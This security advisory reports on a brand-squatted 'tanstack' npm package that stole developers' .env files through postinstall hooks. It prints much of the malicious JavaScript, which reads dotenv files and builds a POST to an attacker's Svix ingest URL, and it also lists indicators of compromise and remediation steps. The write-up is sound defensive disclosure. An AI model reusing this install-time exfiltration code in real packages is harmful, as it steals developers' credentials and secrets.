Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables

A brand-squatted TanStack npm package used postinstall scripts to steal .env files and exfiltrate developer secrets to an attacker-controlled endpoint.

  • Socket Research Team
    Socket Research Team
3 min read
Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables

The Socket Research Team has detected an active supply-chain attack targeting the unscoped tanstack package on npm, a brand-squatted impersonation of the legitimate @tanstack/* organization. Beginning today, the package's maintainer (sh20raj) began pushing malicious versions that silently steal environment variable files, including .env, .env.local, and .env.production, from developers' machines at install time, exfiltrating them to an attacker-controlled endpoint.

Versions 2.0.4 through 2.0.7 are confirmed malicious. All four versions were published in rapid succession within a 27-minute window today and share the same exfiltration infrastructure, confirming this is a deliberate, planned attack rather than a gradual compromise.

Other Affected Packages

  • npm/portalapp@1.0.0 (Dependent)

Socket's threat detection identified the malicious postinstall behavior automatically. A full technical analysis is underway.

Discovery Source: Socket AI Detection

Timeline

TanStack Maintainer Confirms Brand-Squatting

It is unclear whether the maintainer account was compromised or whether the malicious changes were introduced by the maintainer directly. The package had existed for more than a month before versions 2.0.4 through 2.0.7 introduced postinstall behavior designed to exfiltrate environment files.

The package appears to be part of a broader brandjacking effort involving the TanStack name. In the npm context, the clearest issue is brand-squatting: publishing an unscoped tanstack package that could be mistaken for the legitimate @tanstack/* packages.

We spoke directly to Tanner Linsley, creator of TanStack, who confirmed that the maintainer of the unscoped tanstack package is not associated with TanStack or the official @tanstack/* projects in any way. Linsley said the package is not affiliated with TanStack, is unrelated to the official TanStack CLI, and represents an ongoing brandjacking issue. He also said TanStack has filed legal documents related to a pending trademark infringement claim against the maintainer, that the maintainer previously demanded $10,000 from him, and that TanStack has repeatedly tried, unsuccessfully, to get npm to address the situation.

In a now-deleted post on X, the maintainer of the unscoped tanstack package apologized and acknowledged acquiring the package name, asking TanStack’s creator for $10,000 to transfer it, and later using the package to present a “TanStack Player” project partly for backlinks to 30tools.com. He also claimed the malicious code was the result of “random testing” with an AI agent and was accidentally published. He claimed he "forgot to remove it," due to studying for college exams. This does not change the impact for affected users: versions 2.0.4 through 2.0.7 shipped postinstall behavior that exfiltrated environment files from developer machines.

Compromised Packages and Versions

  • 2.0.4: Exfiltrates .env + .env.local; disguised as sendReadme(); secondary postinstall.js, also exfiltrates README.md
  • 2.0.5: Exfiltrates README.md + AGENTS.md via postinstall
  • 2.0.6: Most aggressive: globs install root for .env and .env.* (incl. .env.production, .env.local, etc.) and POSTs all matches; fully silent
  • 2.0.7: Reverts to 2.0.4 pattern (.env + .env.local); all logs commented out; runs silently

Files Targeted

  • .env
  • .env.local
  • .env.production
  • .env.* (all dotenv variants, in v2.0.6)
  • README.md (v2.0.4, v2.0.5)
  • AGENTS.md (v2.0.5)

Postinstall Script Identifiers

  • postinstall.js with obfuscated function name sendReadme() (v2.0.4)
  • Secondary postinstall.js exfiltrating README.md (v2.0.4)
  • Silent execution with all console.log calls commented out (v2.0.7)

Malicious Code Snippet

JavaScript
const SVIX_URL =
  "https[://]api.svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk";

function collectEnvFiles() {
  const rootDir = path.resolve(__dirname, "..");
  const envFiles = {};

  try {
    const allFiles = fs.readdirSync(rootDir);
    const matches = allFiles.filter(
      (f) => f === ".env" || f.startsWith(".env.")
    );

    for (const file of matches) {
      try {
        envFiles[file] = fs.readFileSync(
          path.join(rootDir, file),
          "utf-8"
        );
      } catch {}
    }
  } catch {}

  return envFiles;
}

function sendReadme() {
  // if (
  //   process.env.TANSTACK_TELEMETRY_OPT_OUT === "1" ||
  //   process.env.TANSTACK_TELEMETRY_OPT_OUT === "true"
  // ) {
  //   return;
  // }

  const envFiles = collectEnvFiles();

  if (Object.keys(envFiles).length === 0) {
    return;
  }

  const payload = JSON.stringify({
    package: "tanstack",
    version: getVersion(),
    event: "postinstall",
    env: envFiles,
    timestamp: new Date().toISOString(),
    node: process.version,
    platform: process.platform,
    arch: process.arch,
  });

  const url = new URL(SVIX_URL);
  const options = {
    hostname: url.hostname,
    port: 443,
    path: url.pathname,
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "Content-Length": Buffer.byteLength(payload),
    },
    timeout: 5000,
  };

First malicious version: 2.0.4 Last known malicious version: 2.0.7 (as of publication)

Note: The legitimate TanStack libraries are published under the @tanstack/* scope (e.g., @tanstack/react-query, @tanstack/router). The unscoped tanstack package is not affiliated with the official TanStack project.

The attacker set up a Svix source (src_3387PLMB2uhXOBe3Q8sHu), subscribed their own receiver to it, and then used the public ingest URL as a dead-drop: the malicious postinstall script POSTs stolen .env contents to that URL, and the attacker's backend quietly receives them.

The ingest URL is effectively a one-way drop box. Anyone with the URL can POST to it, but only the authenticated account holder can read what was received — so it's hard for defenders to probe or enumerate what was stolen.

The same Svix source ID appears across all four malicious versions, tying them to a single actor and a single controlled inbox.

Immediate Guidance

  1. If you installed v2.0.4–2.0.7, uninstall and rotate your secrets now. Any .env, .env.local, or .env.production files present in your project directory at install time should be considered compromised. Rotate all API keys, tokens, database credentials, and secrets contained in those files immediately.
  2. Audit your dependencies. If tanstack (unscoped) appears anywhere in your package.json, package-lock.json, or yarn.lock files, remove it. The legitimate TanStack libraries are all published under the @tanstack/* scope.
  3. Block the package in your registry policies. Add tanstack (unscoped) to your organization's deny list or package firewall.
  4. Monitor for suspicious outbound traffic to api.svix.com from CI/CD pipelines, developer machines, and container build environments.

Indicators of Compromise

Packages

npm/tanstack@2.0.4

npm/tanstack@2.0.5

npm/tanstack@2.0.6

npm/tanstack@2.0.7

npm Author

sh20raj

Trigger mechanism

postinstall npm lifecycle hook

Network

Svix Source ID src_3387PLMB2uhXOBe3Q8sHu

Exfiltration URL hxxps://api[.]svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/

Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!